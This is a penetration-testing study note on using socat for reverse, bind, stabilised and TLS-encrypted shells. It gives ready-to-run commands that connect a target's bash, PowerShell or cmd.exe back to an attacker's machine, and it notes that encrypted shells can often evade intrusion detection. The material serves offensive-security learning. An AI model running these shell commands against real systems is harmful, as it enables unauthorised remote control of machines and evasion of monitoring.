Socat is like [[Netcat]] on steroids. It can do all of the same things, and many more. Socat [[Shells]] are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:
- The syntax is more difficult
- Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.
Both Socat and Netcat have .exe versions for use on Windows.
## Reverse Shells
The syntax for socat gets a lot harder than that of netcat. Here's the syntax for a basic reverse shell listener in socat:
```bash
socat TCP-L:<port> -
```
As always with socat, this is *taking two points* (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to `nc -lvnp <port>`.
On Windows we would use this command to connect back:
```powershell
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```
The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output.
This is the equivalent command for a Linux Target:
```bash
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
```
## Bind Shells
On a Linux target we would use the following command:
`socat TCP-L:<PORT> EXEC:"bash -li"`
On a Windows target we would use this command for our listener:
`socat TCP-L:<PORT> EXEC:powershell.exe,pipes`
Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.
```bash
socat TCP:<TARGET-IP>:<TARGET-PORT> -
```
## Stabilised Shells
This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:
```bash
socat TCP-L:<port> FILE:`tty`,raw,echo=0
```
Let's break this command down into its two parts. As usual, we're connecting two points together. In this case those points are a *listening port, and a file*. Specifically, we are passing in the current TTY as a file and setting the echo to be zero. This is approximately equivalent to using the` Ctrl + Z`, `stty raw -echo; fg` trick with a netcat shell -- with the added bonus of being immediately stable and hooking into a full tty.
The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the *target must have socat installed*. Most machines do not have socat installed by default, however, it's possible to upload a precompiled socat binary, which can then be executed as normal.
The special command is as follows:
```bash
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```
This is a handful, so let's break it down.
The first part is easy -- we're linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with `EXEC:"bash -li`". We're also passing the arguments: `pty`, `stderr`, `sigint`, `setsid` and `sane`:
- `pty`, allocates a pseudoterminal on the target -- part of the stabilisation process
- `stderr`, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
- `sigint`, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
- `setsid`, creates the process in a new session
- `sane`, stabilises the terminal, attempting to "normalise" it.
## Encrypted Shells
One of the many great things about socat is that it's capable of creating encrypted shells -- both bind and reverse. Why would we want to do this? Encrypted shells *cannot be spied on* unless you have the decryption key, and are *often able to bypass an IDS* as a result.
We first need to *generate a certificate* in order to use encrypted shells. This is easiest to do on our attacking machine:
```bash
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```
This command creates a **2048 bit RSA key** with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly.
We then need to *merge the two* created files into a single `.pem` file:
```bash
cat shell.key shell.crt > shell.pem
```
Now, when we set up our reverse shell listener, we use:
```bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
```
This sets up an *OPENSSL listener* using our generated certificate. `verify=0` tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the **certificate must be used on whichever device is listening**.
To connect back, we would use:
```bash
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
```
The same technique would apply for a bind shell:
Target:
```bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
```
Attacker:
```bash
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
```